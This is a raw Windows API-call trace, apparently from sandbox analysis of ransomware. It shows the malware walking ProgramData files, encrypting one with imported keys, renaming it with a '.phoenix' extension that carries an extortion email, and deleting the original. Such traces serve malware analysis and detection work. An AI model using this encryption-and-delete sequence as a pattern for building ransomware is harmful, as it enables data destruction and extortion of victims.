	[0229.161] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.161] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.161] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb00002.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.164] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0229.164] CloseHandle (hObject=0x2e8) returned 1
	[0229.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb00002.log")) returned 0x20
	[0229.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb00002.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.164] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb00002.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.164] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.164] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.165] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0229.165] CloseHandle (hObject=0x2e8) returned 1
	[0229.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbtmp.log")) returned 0x20
	[0229.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbtmp.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.165] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.165] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.165] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.165] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=196608) returned 1
	[0229.165] CloseHandle (hObject=0x2e8) returned 1
	[0229.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db")) returned 0x20
	[0229.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.165] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.166] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.166] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.170] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=5489) returned 1
	[0229.170] CloseHandle (hObject=0x2e8) returned 1
	[0229.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat")) returned 0x20
	[0229.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.171] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.171] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.171] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.171] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.173] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0229.173] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.173] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1571, lpOverlapped=0x0) returned 1
	[0229.175] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1580, dwBufLen=0x1580 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1580) returned 1
	[0229.175] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1580, lpOverlapped=0x0) returned 1
	[0229.176] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151700) returned 1
	[0229.176] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.176] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60, dwBufLen=0x60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60) returned 1
	[0229.176] CryptDestroyKey (hKey=0x151700) returned 1
	[0229.176] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x112, lpOverlapped=0x0) returned 1
	[0229.176] CryptDestroyKey (hKey=0x151640) returned 1
	[0229.176] CloseHandle (hObject=0x2e8) returned 1
	[0229.176] CloseHandle (hObject=0x2d8) returned 1
	[0229.179] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat")) returned 1
	[0229.180] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.180] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storagehealthmodel.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.180] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=79711) returned 1
	[0229.181] CloseHandle (hObject=0x2d8) returned 1
	[0229.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storagehealthmodel.dat")) returned 0x20
	[0229.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\storage health\\storagehealthmodel.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.181] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storagehealthmodel.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.181] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.181] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0229.235] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=18289) returned 1
	[0229.235] CloseHandle (hObject=0x2e8) returned 1
	[0229.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml")) returned 0x20
	[0229.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.236] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.236] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.236] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.274] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=5949) returned 1
	[0229.274] CloseHandle (hObject=0x2f0) returned 1
	[0229.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml")) returned 0x20
	[0229.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.274] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.274] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.274] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.321] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3111) returned 1
	[0229.321] CloseHandle (hObject=0x2d8) returned 1
	[0229.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml")) returned 0x20
	[0229.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.322] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.322] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.322] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.322] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3968) returned 1
	[0229.322] CloseHandle (hObject=0x2d8) returned 1
	[0229.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml")) returned 0x20
	[0229.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.322] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2010.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2010.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.323] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.323] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.326] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2865) returned 1
	[0229.327] CloseHandle (hObject=0x2d8) returned 1
	[0229.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml")) returned 0x20
	[0229.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.327] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.327] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2865) returned 1
	[0229.327] CloseHandle (hObject=0x2d8) returned 1
	[0229.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml")) returned 0x20
	[0229.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.328] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.328] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.328] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.328] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=957) returned 1
	[0229.328] CloseHandle (hObject=0x2d8) returned 1
	[0229.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml")) returned 0x20
	[0229.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.328] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.329] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.329] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.330] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=72785) returned 1
	[0229.330] CloseHandle (hObject=0x2d8) returned 1
	[0229.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml")) returned 0x20
	[0229.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.330] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.330] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.330] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0229.330] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=13160) returned 1
	[0229.330] CloseHandle (hObject=0x2d8) returned 1
	[0229.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml")) returned 0x20
	[0229.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.331] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
